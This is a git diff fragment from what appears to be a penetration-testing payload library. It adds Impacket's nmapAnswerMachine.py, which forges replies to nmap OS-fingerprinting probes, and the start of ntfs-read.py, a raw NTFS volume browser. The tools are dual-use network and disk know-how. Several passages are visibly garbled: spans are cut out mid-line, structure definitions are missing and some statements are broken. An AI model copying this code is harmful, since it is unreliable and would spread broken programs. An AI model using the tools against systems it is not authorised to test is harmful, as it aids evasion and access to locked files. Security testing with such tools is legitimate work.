= f['S'] + except: s = 'O' + if s == 'Z': out_onion[O_TCP].set_th_seq(0) + if s == 'A': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack()) + if s == 'A+': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack()+1) + if s == 'O': out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) + + # Test A: TCP ACK number + # Z: Ack is zero + # S: Ack is the same as the Squence number in the probe + # S+: Ack is the same as the Squence number in the probe + 1 + # O: Other value + try: a = f['A'] + except: a = 'O' + if a == 'Z': out_onion[O_TCP].set_th_ack(0) + if a == 'S': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()) + if a == 'S+': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) + + # Test Q: Quirks + # R: Reserved bit set (right after the header length) + # U: Urgent pointer non-zero and URG flag clear + try: + if 'R' in f['Q']: out_onion[O_TCP].set_flags(0x800) + except: pass + try: + if 'U' in f['Q']: out_onion[O_TCP].set_th_urp(0xffff) + except: pass + + # Test F: TCP Flags + try: flags = f['F'] + except: flags = '' + if 'E' in flags: out_onion[O_TCP].set_ECE() + if 'U' in flags: out_onion[O_TCP].set_URG() + if 'A' in flags: out_onion[O_TCP].set_ACK() + if 'P' in flags: out_onion[O_TCP].set_PSH() + if 'R' in flags: out_onion[O_TCP].set_RST() + if 'S' in flags: out_onion[O_TCP].set_SYN() + if 'F' in flags: out_onion[O_TCP].set_FIN() + + # Test RD: TCP Data checksum (mostly for data in RST) + try: + crc = f['RD'] + if crc != '0': # when the + crc = int(crc, 16) + data = 'TCP Port is closed\x00' + data += uncrc32.compensate(data, crc) + data = ImpactPacket.Data(data) + out_onion.append(data) + out_onion[O_TCP].contains(data) + except: + pass + return out_onion + + def setTCPOptions(self, onion, options): + def getValue(string, i): + value = 0 + + idx = i + for c in options[i:]: + try: + value = value * 0x10 + int(c,16) + except: + break + idx += 1 + + return value, idx + + # Test O,O1=O6: TCP Options + # L: End of Options + # N: NOP + # S: Selective ACK + # Mx: MSS (x is a hex number) + # Wx: Windows Scale (x is a hex number) + # Tve: Timestamp (v and e are two binary digits, v for TSval and e for TSecr + + i = 0 + tcp = onion[O_TCP] + while i < len(options): + opt = options[i] + i += 1 + if opt == 'L': tcp.add_option(TCPOption(TCPOption.TCPOPT_EOL)) + if opt == 'N': tcp.add_option(TCPOption(TCPOption.TCPOPT_NOP)) + if opt == 'S': tcp.add_option(TCPOption(TCPOption.TCPOPT_SACK_PERMITTED)) + if opt == 'T': + opt = TCPOption(TCPOption.TCPOPT_TIMESTAMP) # default ts = 0, ts_echo = 0 + if options[i] == '1': opt.set_ts(self.machine.getTCPTimeStamp()) + if options[i+1] == '1': opt.set_ts_echo(0xffffffffL) + tcp.add_option(opt) + i += 2 + if opt == 'M': + maxseg, i = getValue(options, i) + tcp.add_option(TCPOption(TCPOption.TCPOPT_MAXSEG, maxseg)) + if opt == 'W': + window, i = getValue(options, i) + tcp.add_option(TCPOption(TCPOption.TCPOPT_WINDOW, window)) + +class nmap2_SEQ(NMAP2TCPResponder): + templateClass = None + signatureName = None + seqNumber = None + + def initFingerprint(self): + NMAP2TCPResponder.initFingerprint(self) + if not self.seqNumber: return + else: + OPS = self.machine.fingerprint.get_tests()['OPS'] + WIN = self.machine.fingerprint.get_tests()['WIN'] + self.fingerprint['O'] = OPS['O%d' % self.seqNumber] + self.fingerprint['W'] = WIN['W%d' % self.seqNumber] + +class nmap2_ECN(NMAP2TCPResponder): + templateClass = os_ident.nmap2_ecn_probe + signatureName = 'ECN' + +class nmap2_SEQ1(nmap2_SEQ): + templateClass = os_ident.nmap2_seq_1 + signatureName = 'T1' + seqNumber = 1 + +class nmap2_SEQ2(nmap2_SEQ): + templateClass = os_ident.nmap2_seq_2 + signatureName = 'T1' + seqNumber = 2 + +class nmap2_SEQ3(nmap2_SEQ): + templateClass = os_ident.nmap2_seq_3 + signatureName = 'T1' + seqNumber = 3 + +class nmap2_SEQ4(nmap2_SEQ): + templateClass = os_ident.nmap2_seq_4 + signatureName = 'T1' + seqNumber = 4 + +class nmap2_SEQ5(nmap2_SEQ): + templateClass = os_ident.nmap2_seq_5 + signatureName = 'T1' + seqNumber = 5 + +class nmap2_SEQ6(nmap2_SEQ): + templateClass = os_ident.nmap2_seq_6 + signatureName = 'T1' + seqNumber = 6 + +class nmap2_T2(NMAP2TCPResponder): + templateClass = os_ident.nmap2_tcp_open_2 + signatureName = 'T2' + +class nmap2_T3(NMAP2TCPResponder): + templateClass = os_ident.nmap2_tcp_open_3 + signatureName = 'T3' + +class nmap2_T4(NMAP2TCPResponder): + templateClass = os_ident.nmap2_tcp_open_4 + signatureName = 'T4' + +class nmap2_T5(NMAP2TCPResponder): + templateClass = os_ident.nmap2_tcp_closed_1 + signatureName = 'T5' + +class nmap2_T6(NMAP2TCPResponder): + templateClass = os_ident.nmap2_tcp_closed_2 + signatureName = 'T6' + +class nmap2_T7(NMAP2TCPResponder): + templateClass = os_ident.nmap2_tcp_closed_3 + signatureName = 'T7' + +class nmap2_ICMP_1(NMAP2ICMPResponder): + templateClass = os_ident.nmap2_icmp_echo_probe_1 + signatureName = 'IE' + +class nmap2_ICMP_2(NMAP2ICMPResponder): + templateClass = os_ident.nmap2_icmp_echo_probe_2 + signatureName = 'IE' + +class Machine: + AssumedTimeIntervalPerPacket = 0.11 # seconds + def __init__(self, emmulating, interface, ipAddress, macAddress, openTCPPorts = [], openUDPPorts = [], nmapOSDB = 'nmap-os-db'): + self.interface = interface + self.ipAddress = ipAddress + self.macAddress = macAddress + self.responders = [] + self.decoder = ImpactDecoder.EthDecoder() + + self.initPcap() + self.initFingerprint(emmulating, nmapOSDB) + + self.initSequenceGenerators() + self.openTCPPorts = openTCPPorts + self.openUDPPorts = openUDPPorts + print self + + def openUDPPort(self, port): + if self.isUDPPortOpen(port): return + self.openUDPPorts.append(port) + + def isUDPPortOpen(self, port): + return port in self.openUDPPorts + + def isTCPPortOpen(self, port): + return port in self.openTCPPorts + + def initPcap(self): + self.pcap = pcapy.open_live(self.interface, 65535, 1, 0) + try: self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress)) + except: self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress), 1, 0xFFFFFF00) + + def initGenericResponders(self): + # generic responders + self.addResponder(ARPResponder(self)) + self.addResponder(OpenUDPResponder(self)) + self.addResponder(ClosedUDPResponder(self)) + self.addResponder(OpenTCPResponder(self)) + self.addResponder(ClosedTCPResponder(self)) + + def initFingerprint(self, emmulating, nmapOSDB): + fpm = os_ident.NMAP2_Fingerprint_Matcher('') + f = file(nmapOSDB, 'r') + for text in fpm.fingerprints(f): + fingerprint = fpm.parse_fp(text) + if fingerprint.get_id() == emmulating: + self.fingerprint = fingerprint + self.simplifyFingerprint() + # print fingerprint + return + + raise Exception, "Couldn't find fingerprint data for %r" % emmulating + + def simplifyFingerprint(self): + tests = self.fingerprint.get_tests() + for probeName in tests: + probe = tests[probeName] + for test in probe: + probe[test] = probe[test].split('|')[0] + + def initSequenceGenerators(self): + self.initIPIDGenerator() + self.initTCPISNGenerator() + self.initTCPTSGenerator() + + def initIPIDGenerator(self): + seq = self.fingerprint.get_tests()['SEQ'] + self.ip_ID = 0 + + try: TI = seq['TI'] + except: TI = 'O' + + if TI == 'Z': self.ip_ID_delta = 0 + elif TI == 'RD': self.ip_ID_delta = 30000 + elif TI == 'RI': self.ip_ID_delta = 1234 + elif TI == 'BI': self.ip_ID_delta = 1024+256 + elif TI == 'I': self.ip_ID_delta = 1 + elif TI == 'O': self.ip_ID_delta = 123 + else: self.ip_ID_delta = int(TI, 16) + + try: ss = seq['SS'] + except: ss = 'O' + + self.ip_ID_ICMP_delta = None + if ss == 'S': self.ip_ID_ICMP = None + else: + self.ip_ID_ICMP = 0 + try: II = seq['II'] + except: II = 'O' + + if II == 'Z': self.ip_ID_ICMP_delta = 0 + elif II == 'RD': self.ip_ID_ICMP_delta = 30000 + elif II == 'RI': self.ip_ID_ICMP_delta = 1234 + elif II == 'BI': self.ip_ID_ICMP_delta = 1024+256 + elif II == 'I': self.ip_ID_ICMP_delta = 1 + elif II == 'O': self.ip_ID_ICMP_delta = 123 + else: self.ip_ID_ICMP_delta = int(II, 16) + + # generate a few, so we don't start with 0 when we don't have to + for i in range(10): + self.getIPID() + self.getIPID_ICMP() + + print "IP ID Delta: %d" % self.ip_ID_delta + print "IP ID ICMP Delta: %s" % self.ip_ID_ICMP_delta + + def initTCPISNGenerator(self): + # tcp_ISN and tcp_ISN_delta for TCP Initial sequence numbers + self.tcp_ISN = 0 + try: + self.tcp_ISN_GCD = int(self.fingerprint.get_tests()['SEQ']['GCD'].split('-')[0], 16) + except: + self.tcp_ISN_GCD = 1 + + try: + isr = self.fingerprint.get_tests()['SEQ']['ISR'].split('-') + if len(isr) == 1: + isr = int(isr[0], 16) + else: + isr = (int(isr[0], 16) + int(isr[1], 16)) / 2 + except: + isr = 0 + + try: + sp = self.fingerprint.get_tests()['SEQ']['SP'].split('-') + sp = int(sp[0], 16) + except: + sp = 0 + + self.tcp_ISN_stdDev = (2**(sp/8.0)) * 5 / 4 # n-1 on small populations... erm... + + if self.tcp_ISN_GCD > 9: + self.tcp_ISN_stdDev *= self.tcp_ISN_GCD + + self.tcp_ISN_stdDev *= self.AssumedTimeIntervalPerPacket + + self.tcp_ISN_delta = 2**(isr/8.0) * self.AssumedTimeIntervalPerPacket + + # generate a few, so we don't start with 0 when we don't have to + for i in range(10): self.getTCPSequence() + + print "TCP ISN Delta: %f" % self.tcp_ISN_delta + print "TCP ISN Standard Deviation: %f" % self.tcp_ISN_stdDev + + def initTCPTSGenerator(self): + # tcp_TS and tcp_TS_delta for TCP Time stamp generation + self.tcp_TS = 0 + + try: ts = self.fingerprint.get_tests()['SEQ']['TS'] + except: ts = 'U' + + if ts == 'U' or ts == 'Z': self.tcp_TS_delta = 0 + else: + self.tcp_TS_delta = (2**int(ts, 16)) * self.AssumedTimeIntervalPerPacket + + # generate a few, so we don't start with 0 when we don't have to + for i in range(10): self.getTCPTimeStamp() + + print "TCP TS Delta: %f" % self.tcp_TS_delta + + def getIPID(self): + answer = self.ip_ID + self.ip_ID += self.ip_ID_delta + self.ip_ID %= 0x10000L + # print "IP ID: %x" % answer + return answer + + def getIPID_ICMP(self): + if self.ip_ID_ICMP is None: + return self.getIPID() + + answer = self.ip_ID_ICMP + self.ip_ID_ICMP += self.ip_ID_ICMP_delta + self.ip_ID_ICMP %= 0x10000L + # print "---> IP ID: %x" % answer + return answer + + def getTCPSequence(self): + answer = self.tcp_ISN + self.tcp_ISN_stdDev # *random.random() + self.tcp_ISN_stdDev *= -1 + answer = int(int(answer/self.tcp_ISN_GCD) * self.tcp_ISN_GCD) + self.tcp_ISN += self.tcp_ISN_delta + self.tcp_ISN %= 0x100000000L + # print "---> TCP Sequence: %d" % (answer % 0x100000000L) + return answer % 0x100000000L + + def getTCPTimeStamp(self): + answer = int(round(self.tcp_TS)) + self.tcp_TS += self.tcp_TS_delta + self.tcp_TS %= 0x100000000L + # print "---> TCP Time Stamp: %x" % answer + return answer + + def sendPacket(self, onion): + if not onion: return + print "--> Packet sent:" + #print onion[0] + #print + self.pcap.sendpacket(onion[O_ETH].get_packet()) + + def addResponder(self, aResponder): + self.responders.append(aResponder) + + def run(self): + while 1: + p = self.pcap.next() + try: in_onion = [self.decoder.decode(p[1])] + except: in_onion = [self.decoder.decode(p[0])] + try: + while 1: in_onion.append(in_onion[-1].child()) + except: + pass + + #print "-------------- Received: ", in_onion[0] + for r in self.responders: + if r.process(in_onion): break + + +def main(): + def initResponders(machine): + # cmd responder + # machine.addResponder(UDPCommandResponder(machine).set_port(UDP_CMD_PORT)) + + # nmap2 specific responders + machine.addResponder(nmap2_SEQ1(machine)) + machine.addResponder(nmap2_SEQ2(machine)) + machine.addResponder(nmap2_SEQ3(machine)) + machine.addResponder(nmap2_SEQ4(machine)) + machine.addResponder(nmap2_SEQ5(machine)) + machine.addResponder(nmap2_SEQ6(machine)) + machine.addResponder(nmap2_ECN(machine)) + machine.addResponder(nmap2_T2(machine)) + machine.addResponder(nmap2_T3(machine)) + machine.addResponder(nmap2_T4(machine)) + machine.addResponder(nmap2_T5(machine)) + machine.addResponder(nmap2_T6(machine)) + machine.addResponder(nmap2_T7(machine)) + machine.addResponder(nmap2_ICMP_1(machine)) + machine.addResponder(nmap2_ICMP_2(machine)) + machine.addResponder(NMAP2UDPResponder(machine)) + + from sys import argv, exit + def usage(): + print """ + if arg == '-h': usage() + if arg == '--help': usage() + if arg == '-f': Fingerprint = value + if arg == '-p': IP = value + if arg == '-m': MAC = value + if arg == '-i': IFACE = value + if arg == '-d': nmapOsDB = value + + where: + arg = argv[i] + value = argv[i+1] + """ + exit() + + global Fingerprint, IFACE, MAC, IP, nmapOSDB + for i in xrange(len(argv)): + arg = argv[i] + try: value = argv[i+1] + except: value = None + if arg == '-h': usage() + if arg == '--help': usage() + if arg == '-f': Fingerprint = value + if arg == '-p': IP = value + if arg == '-m': MAC = value + if arg == '-i': IFACE = value + if arg == '-d': nmapOSDB = value + + print "Emulating: %r" % Fingerprint + print "at %s / %s / %s" % (IFACE, MAC, IP) + machine = Machine( + Fingerprint, + IFACE, + IP, + MAC, + OPEN_TCP_PORTS, + OPEN_UDP_PORTS, + nmapOSDB = nmapOSDB) + + initResponders(machine) + machine.initGenericResponders() + machine.run() + +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + main() + +# All Probes +# [x] SEQ +# [x] OPS +# [x] WIN +# [x] T1 +# [x] T2 +# [x] T3 +# [x] T4 +# [x] T5 +# [x] T6 +# [x] T7 +# [x] IE +# [x] ECN +# [x] U1 + +# All Tests + +# SEQ() +# [x] TCP ISN sequence predictability index (SP) +# [x] TCP ISN greatest common divisor (GCD) +# [x] TCP ISN counter rate (ISR) +# [x] IP ID sequence generation algorithm on TCP Open ports (TI) +# [x] Z - All zeros +# [x] RD - Random: It increments at least once by at least 20000. +# [-] Hex Value - fixed IP ID +# [x] RI - Random positive increments. Any (delta_i > 1000, and delta_i % 256 != 0) or (delta_i > 256000 and delta_i % 256 == 0) +# [x] BI - Broken increment. All delta_i % 256 = 0 and all delta_i <= 5120. +# [x] I - Incremental. All delta_i < 10 +# [x] O - (Ommited, the test does not show in the fingerprint). None of the other +# [-] IP ID sequence generation algorithm on TCP closed ports (CI) +# [x] IP ID sequence generation algorithm on ICMP messages (II) +# [x] Shared IP ID sequence Boolean (SS) +# [x] TCP timestamp option algorithm (TS) +# [x] U - unsupported (don't send TS) +# [x] 0 - Zero +# [x] 1 - 0-5.66 (2 Hz) +# [x] 7 - 70-150 (100 Hz) +# [x] 8 - 150-350 (200 Hz) +# [x] - avg_freq = sum(TS_diff/time_diff) . round(.5 + math.log(avg_freq)/math.log(2))) +# time_diff = 0.11 segs +# OPS() +# [x] TCP options (O, O1-O6) +# WIN() +# [x] TCP initial window size (W, W1-W6) +# ECN, T1-T7 +# [x] TCP options (O, O1-O6) +# [x] TCP initial window size (W, W1-W6) +# [x] Responsiveness (R) +# [x] IP don't fragment bit (DF) +# [x] IP initial time-to-live (T) +# [x] IP initial time-to-live guess (TG) +# [x] Explicit congestion notification (CC) +# [x] TCP miscellaneous quirks (Q) +# [x] TCP sequence number (S) +# [x] TCP acknowledgment number (A) +# [x] TCP flags (F) +# [x] TCP RST data checksum (RD) +# IE() +# [x] Responsiveness (R) +# [x] Don't fragment (ICMP) (DFI) +# [x] IP initial time-to-live (T) +# [x] IP initial time-to-live guess (TG) +# [x] ICMP response code (CD) +#-[x] IP Type of Service (TOSI) +#-[x] ICMP Sequence number (SI) +#-[x] IP Data Length (DLI) +# U1() +# [x] Responsiveness (R) +# [x] IP don't fragment bit (DF) +# [x] IP initial time-to-live (T) +# [x] IP initial time-to-live guess (TG) +# [x] IP total length (IPL) +# [x] Unused port unreachable field nonzero (UN) +# [x] Returned probe IP total length value (RIPL) +# [x] Returned probe IP ID value (RID) +# [x] Integrity of returned probe IP checksum value (RIPCK) +# [x] Integrity of returned probe UDP checksum (RUCK) +# [x] Integrity of returned UDP data (RUD) +# [-] ??? (TOS) Type of Service +# [-] ??? (RUL) Length of return UDP packet is correct + +# sudo nmap -O 127.0.0.2 -p 22,111,89 +# sudo python nmapAnswerMachine.py -i eth0 -p 192.168.66.254 -f 'Sun Solaris 9 (SPARC)' diff --git a/payloads/library/tools_installer/tools_to_install/impacket/examples/ntfs-read.py b/payloads/library/tools_installer/tools_to_install/impacket/examples/ntfs-read.py new file mode 100644 index 0000000..b11c682 --- /dev/null +++ b/payloads/library/tools_installer/tools_to_install/impacket/examples/ntfs-read.py @@ -0,0 +1,1225 @@ +#!/usr/bin/env python +# Copyright (c) 2003-2016 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: Mini shell for browsing an NTFS volume +# +# Author: +# Alberto Solino (@agsolino) +# +# +# Reference for: +# Structure. Quick and dirty implementation.. just for fun.. ;) +# +# NOTE: Lots of info (mainly the structs) taken from the NTFS-3G project.. +# +# TODO +# [] Parse the attributes list attribute. It is unknown what would happen now if +# we face a highly fragmented file that will have many attributes that won't fit +# in the MFT Record +# [] Support compressed, encrypted and sparse files +# + +import os +import sys +import logging +import struct +import argparse +import cmd +import ntpath +# If you wanna have readline like functionality in Windows, install pyreadline +try: + import pyreadline as readline +except ImportError: + import readline +from datetime import datetime +from impacket.examples import logger +from impacket import version +from impacket.structure import Structure + + +import string +def pretty_print(x): + if x in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ ': + return x + else: + return '.' + +def hexdump(data): + x=str(data) + strLen = len(x) + i = 0 + while i < strLen: + print "%04x " % i, + for j in range(16): + if i+j < strLen: + print "%02X" % ord(x[i+j]), + else: + print " ", + if j%16 == 7: + print "", + print " ", + print ''.join(pretty_print(x) for x in x[i:i+16] ) + i += 16 + +# Reserved/fixed MFTs +FIXED_MFTS = 16 + +# Attribute types +UNUSED = 0 +STANDARD_INFORMATION = 0x10 +ATTRIBUTE_LIST = 0x20 +FILE_NAME = 0x30 +OBJECT_ID = 0x40 +SECURITY_DESCRIPTOR = 0x50 +VOLUME_NAME = 0x60 +VOLUME_INFORMATION = 0x70 +DATA = 0x80 +INDEX_ROOT = 0x90 +INDEX_ALLOCATION = 0xa0 +BITMAP = 0xb0 +REPARSE_POINT = 0xc0 +EA_INFORMATION = 0xd0 +EA = 0xe0 +PROPERTY_SET = 0xf0 +LOGGED_UTILITY_STREAM = 0x100 +FIRST_USER_DEFINED_ATTRIBUTE = 0x1000 +END = 0xffffffff + +# Attribute flags +ATTR_IS_COMPRESSED = 0x0001 +ATTR_COMPRESSION_MASK = 0x00ff +ATTR_IS_ENCRYPTED = 0x4000 +ATTR_IS_SPARSE = 0x8000 + +# FileName type flags +FILE_NAME_POSIX = 0x00 +FILE_NAME_WIN32 = 0x01 +FILE_NAME_DOS = 0x02 +FILE_NAME_WIN32_AND_DOS = 0x03 + +# MFT Record flags +MFT_RECORD_IN_USE = 0x0001 +MFT_RECORD_IS_DIRECTORY = 0x0002 +MFT_RECORD_IS_4 = 0x0004 +MFT_RECORD_IS_VIEW_INDEX = 0x0008 +MFT_REC_SPACE_FILLER = 0xfffff + +# File Attribute Flags +FILE_ATTR_READONLY = 0x0001 +FILE_ATTR_HIDDEN = 0x0002 +FILE_ATTR_SYSTEM = 0x0004 +FILE_ATTR_DIRECTORY = 0x0010 +FILE_ATTR_ARCHIVE = 0x0020 +FILE_ATTR_DEVICE = 0x0040 +FILE_ATTR_NORMAL = 0x0080 +FILE_ATTR_TEMPORARY = 0x0100 +FILE_ATTR_SPARSE_FILE = 0x0200 +FILE_ATTR_REPARSE_POINT = 0x0400 +FILE_ATTR_COMPRESSED = 0x0800 +FILE_ATTR_OFFLINE = 0x1000 +FILE_ATTR_NOT_CONTENT_INDEXED = 0x2000 +FILE_ATTR_ENCRYPTED = 0x4000 +FILE_ATTR_VALID_FLAGS = 0x7fb7 +FILE_ATTR_VALID_SET_FLAGS = 0x31a7 +FILE_ATTR_I30_INDEX_PRESENT = 0x10000000 +FILE_ATTR_VIEW_INDEX_PRESENT = 0x20000000 + +# NTFS System files +FILE_MFT = 0 +FILE_MFTMirr = 1 +FILE_LogFile = 2 +FILE_Volume = 3 +FILE_AttrDef = 4 +FILE_Root = 5 +FILE_Bitmap = 6 +FILE_Boot = 7 +FILE_BadClus = 8 +FILE_Secure = 9 +FILE_UpCase = 10 +FILE_Extend = 11 + +# Index Header Flags +SMALL_INDEX = 0 +LARGE_INDEX = 1 +LEAF_NODE = 0 +INDEX_NODE = 1 +NODE_MASK = 0 + +# Index Entry Flags +INDEX_ENTRY_NODE = 1 +INDEX_ENTRY_END = 2 +INDEX_ENTRY_SPACE_FILLER = 0xffff + + +class NTFS_BPB(Structure): + structure = ( + ('BytesPerSector',' 0 and self.AttributeHeader['Type'] != END: + self.AttributeName = data[self.AttributeHeader['NameOffset']:][:self.AttributeHeader['NameLength']*2].decode('utf-16le') + + def getFlags(self): + return self.AttributeHeader['Flags'] + + def getName(self): + return self.AttributeName + + def isNonResident(self): + return self.AttributeHeader['NonResident'] + + def dump(self): + return self.AttributeHeader.dump() + + def getTotalSize(self): + return self.AttributeHeader['Length'] + + def getType(self): + return self.AttributeHeader['Type'] + +class AttributeResident(Attribute): + def __init__(self, iNode, data): + logging.debug("Inside AttributeResident: iNode: %s" % iNode.INodeNumber) + Attribute.__init__(self,iNode,data) + self.ResidentHeader = NTFS_ATTRIBUTE_RECORD_RESIDENT(data[len(self.AttributeHeader):]) + self.AttrValue = data[self.ResidentHeader['ValueOffset']:][:self.ResidentHeader['ValueLen']] + + def dump(self): + return self.ResidentHeader.dump() + + def getFlags(self): + return self.ResidentHeader['Flags'] + + def getValue(self): + return self.AttrValue + + def read(self,offset,length): + logging.debug("Inside Read: offset: %d, length: %d" %(offset,length)) + return self.AttrValue[offset:][:length] + + def getDataSize(self): + return len(self.AttrValue) + +class AttributeNonResident(Attribute): + def __init__(self, iNode, data): + logging.debug("Inside AttributeNonResident: iNode: %s" % iNode.INodeNumber) + Attribute.__init__(self,iNode,data) + self.NonResidentHeader = NTFS_ATTRIBUTE_RECORD_NON_RESIDENT(data[len(self.AttributeHeader):]) + self.AttrValue = data[self.NonResidentHeader['DataRunsOffset']:][:self.NonResidentHeader['AllocatedSize']] + self.DataRuns = [] + self.ClusterSize = 0 + self.parseDataRuns() + + def dump(self): + return self.NonResidentHeader.dump() + + def getDataSize(self): + return self.NonResidentHeader['InitializedSize'] + + def getValue(self): + return None + + def parseDataRuns(self): + value = self.AttrValue + if value is not None: + VCN = 0 + LCN = 0 + LCNOffset = 0 + while value[0] != '\x00': + LCN += LCNOffset + dr = NTFS_DATA_RUN() + + size = struct.unpack('B',(value[0]))[0] + + value = value[1:] + + lengthBytes = size & 0x0F + offsetBytes = size >> 4 + + length = value[:lengthBytes] + length = struct.unpack('= dr['StartVCN']) and (vcn <= dr['LastVCN']): + + vcnsToRead = dr['LastVCN'] - vcn + 1 + + # Are we requesting to read more data outside this DataRun? + if numOfClusters > vcnsToRead: + # Yes + clustersToRead = vcnsToRead + else: + clustersToRead = numOfClusters + + tmpBuf = self.readClusters(clustersToRead,dr['LCN']+(vcn-dr['StartVCN'])) + if tmpBuf is not None: + buf += tmpBuf + clustersLeft -= clustersToRead + vcn += clustersToRead + else: + break + if clustersLeft == 0: + break + return buf + + def read(self,offset,length): + logging.debug("Inside Read: offset: %d, length: %d" %(offset,length)) + + buf = '' + curLength = length + self.ClusterSize = self.NTFSVolume.BPB['BytesPerSector']*self.NTFSVolume.BPB['SectorsPerCluster'] + + # Given the offset, let's calculate what VCN should be the first one to read + vcnToStart = offset / self.ClusterSize + #vcnOffset = self.ClusterSize - (offset % self.ClusterSize) + + # Do we have to read partial VCNs? + if offset % self.ClusterSize: + # Read the whole VCN + bufTemp = self.readVCN(vcnToStart, 1) + if bufTemp is '': + # Something went wrong + return None + buf = bufTemp[offset % self.ClusterSize:] + curLength -= len(buf) + vcnToStart += 1 + + # Finished? + if curLength <= 0: + return buf[:length] + + # First partial cluster read.. now let's keep reading full clusters + # Data left to be read is bigger than a Cluster? + if curLength / self.ClusterSize: + # Yep.. so let's read full clusters + bufTemp = self.readVCN(vcnToStart, curLength / self.ClusterSize) + if bufTemp is '': + # Something went wrong + return None + if len(bufTemp) > curLength: + # Too much data read, taking something off + buf = buf + bufTemp[:curLength] + else: + buf = buf + bufTemp + vcnToStart += curLength / self.ClusterSize + curLength -= len(bufTemp) + + # Is there anything else left to be read in the last cluster? + if curLength > 0: + bufTemp = self.readVCN(vcnToStart, 1) + buf = buf + bufTemp[:curLength] + + if buf == '': + return None + else: + return buf + +class AttributeStandardInfo: + def __init__(self, attribute): + logging.debug("Inside AttributeStandardInfo") + self.Attribute = attribute + self.StandardInfo = NTFS_STANDARD_INFORMATION(self.Attribute.AttrValue) + + def getFileAttributes(self): + return self.StandardInfo['FileAttributes'] + + def getFileTime(self): + if self.StandardInfo['LastDataChangeTime'] > 0: + return datetime.fromtimestamp(getUnixTime(self.StandardInfo['LastDataChangeTime'])) + else: + return 0 + + def dump(self): + return self.StandardInfo.dump() + +class AttributeFileName: + def __init__(self, attribute): + logging.debug("Inside AttributeFileName") + self.Attribute = attribute + self.FileNameRecord = NTFS_FILE_NAME_ATTR(self.Attribute.AttrValue) + + def getFileNameType(self): + return self.FileNameRecord['FileNameType'] + + def getFileAttributes(self): + return self.FileNameRecord['FileAttributes'] + + def getFileName(self): + return self.FileNameRecord['FileName'].decode('utf-16le') + + def getFileSize(self): + return self.FileNameRecord['DataSize'] + + def getFlags(self): + return self.FileNameRecord['FileAttributes'] + + def dump(self): + return self.FileNameRecord.dump() + +class AttributeIndexAllocation: + def __init__(self, attribute): + logging.debug("Inside AttributeIndexAllocation") + self.Attribute = attribute + + def dump(self): + print self.Attribute.dump() + for i in self.Attribute.DataRuns: + print i.dump() + + def read(self, offset, length): + return self.Attribute.read(offset, length) + + +class AttributeIndexRoot: + def __init__(self, attribute): + logging.debug("Inside AttributeIndexRoot") + self.Attribute = attribute + self.IndexRootRecord = NTFS_INDEX_ROOT(attribute.AttrValue) + self.IndexEntries = [] + self.parseIndexEntries() + + def parseIndexEntries(self): + data = self.Attribute.AttrValue[len(self.IndexRootRecord):] + while True: + ie = IndexEntry(data) + self.IndexEntries.append(ie) + if ie.isLastNode(): + break + data = data[ie.getSize():] + + def dump(self): + self.IndexRootRecord.dump() + for i in self.IndexEntries: + i.dump() + + def getType(self): + return self.IndexRootRecord['Type'] + +class IndexEntry: + def __init__(self, entry): + self.entry = NTFS_INDEX_ENTRY(entry) + + def isSubNode(self): + return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_NODE + + def isLastNode(self): + return self.entry['EntryHeader']['Flags'] & INDEX_ENTRY_END + + def getVCN(self): + return struct.unpack(' 0 and entry.getINodeNumber() > 16: + fn = NTFS_FILE_NAME_ATTR(entry.getKey()) + if fn['FileNameType'] != FILE_NAME_DOS: + #inode = INODE(self.NTFSVolume) + #inode.FileAttributes = fn['FileAttributes'] + #inode.FileSize = fn['DataSize'] + #inode.LastDataChangeTime = datetime.fromtimestamp(getUnixTime(fn['LastDataChangeTime'])) + #inode.INodeNumber = entry.getINodeNumber() + #inode.FileName = fn['FileName'].decode('utf-16le') + #inode.displayName() + files.append(fn) +# if inode.FileAttributes & FILE_ATTR_I30_INDEX_PRESENT and entry.getINodeNumber() > 16: +# inode2 = self.NTFSVolume.getINode(entry.getINodeNumber()) +# inode2.walk() + return files + + def walk(self): + logging.debug("Inside Walk... ") + files = [] + if self.Attributes.has_key(INDEX_ROOT): + ir = self.Attributes[INDEX_ROOT] + + if ir.getType() & FILE_NAME: + for ie in ir.IndexEntries: + if ie.isSubNode(): + files += self.walkSubNodes(ie.getVCN()) + return files + else: + return None + + def findFirstSubNode(self, vcn, toSearch): + def getFileName(entry): + if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16: + fn = NTFS_FILE_NAME_ATTR(entry.getKey()) + if fn['FileNameType'] != FILE_NAME_DOS: + return string.upper(fn['FileName'].decode('utf-16le')) + return None + + entries = self.parseIndexBlocks(vcn) + for ie in entries: + name = getFileName(ie) + if name is not None: + if name == toSearch: + # Found! + return ie + if toSearch < name: + if ie.isSubNode(): + res = self.findFirstSubNode(ie.getVCN(), toSearch) + if res is not None: + return res + else: + # Bye bye.. not found + return None + else: + if ie.isSubNode(): + res = self.findFirstSubNode(ie.getVCN(), toSearch) + if res is not None: + return res + + + def findFirst(self, fileName): + # Searches for a file and returns an Index Entry. None if not found + + def getFileName(entry): + if len(entry.getKey()) > 0 and entry.getINodeNumber() > 16: + fn = NTFS_FILE_NAME_ATTR(entry.getKey()) + if fn['FileNameType'] != FILE_NAME_DOS: + return string.upper(fn['FileName'].decode('utf-16le')) + return None + + + toSearch = unicode(string.upper(fileName)) + + if self.Attributes.has_key(INDEX_ROOT): + ir = self.Attributes[INDEX_ROOT] + if ir.getType() & FILE_NAME or 1==1: + for ie in ir.IndexEntries: + name = getFileName(ie) + if name is not None: + if name == toSearch: + # Found! + return ie + if toSearch < name: + if ie.isSubNode(): + res = self.findFirstSubNode(ie.getVCN(), toSearch) + if res is not None: + return res + else: + # Bye bye.. not found + return None + else: + if ie.isSubNode(): + res = self.findFirstSubNode(ie.getVCN(), toSearch) + if res is not None: + return res + + def getStream(self, name): + return self.searchAttribute( DATA, name, findNext = False) + + +class NTFS: + def 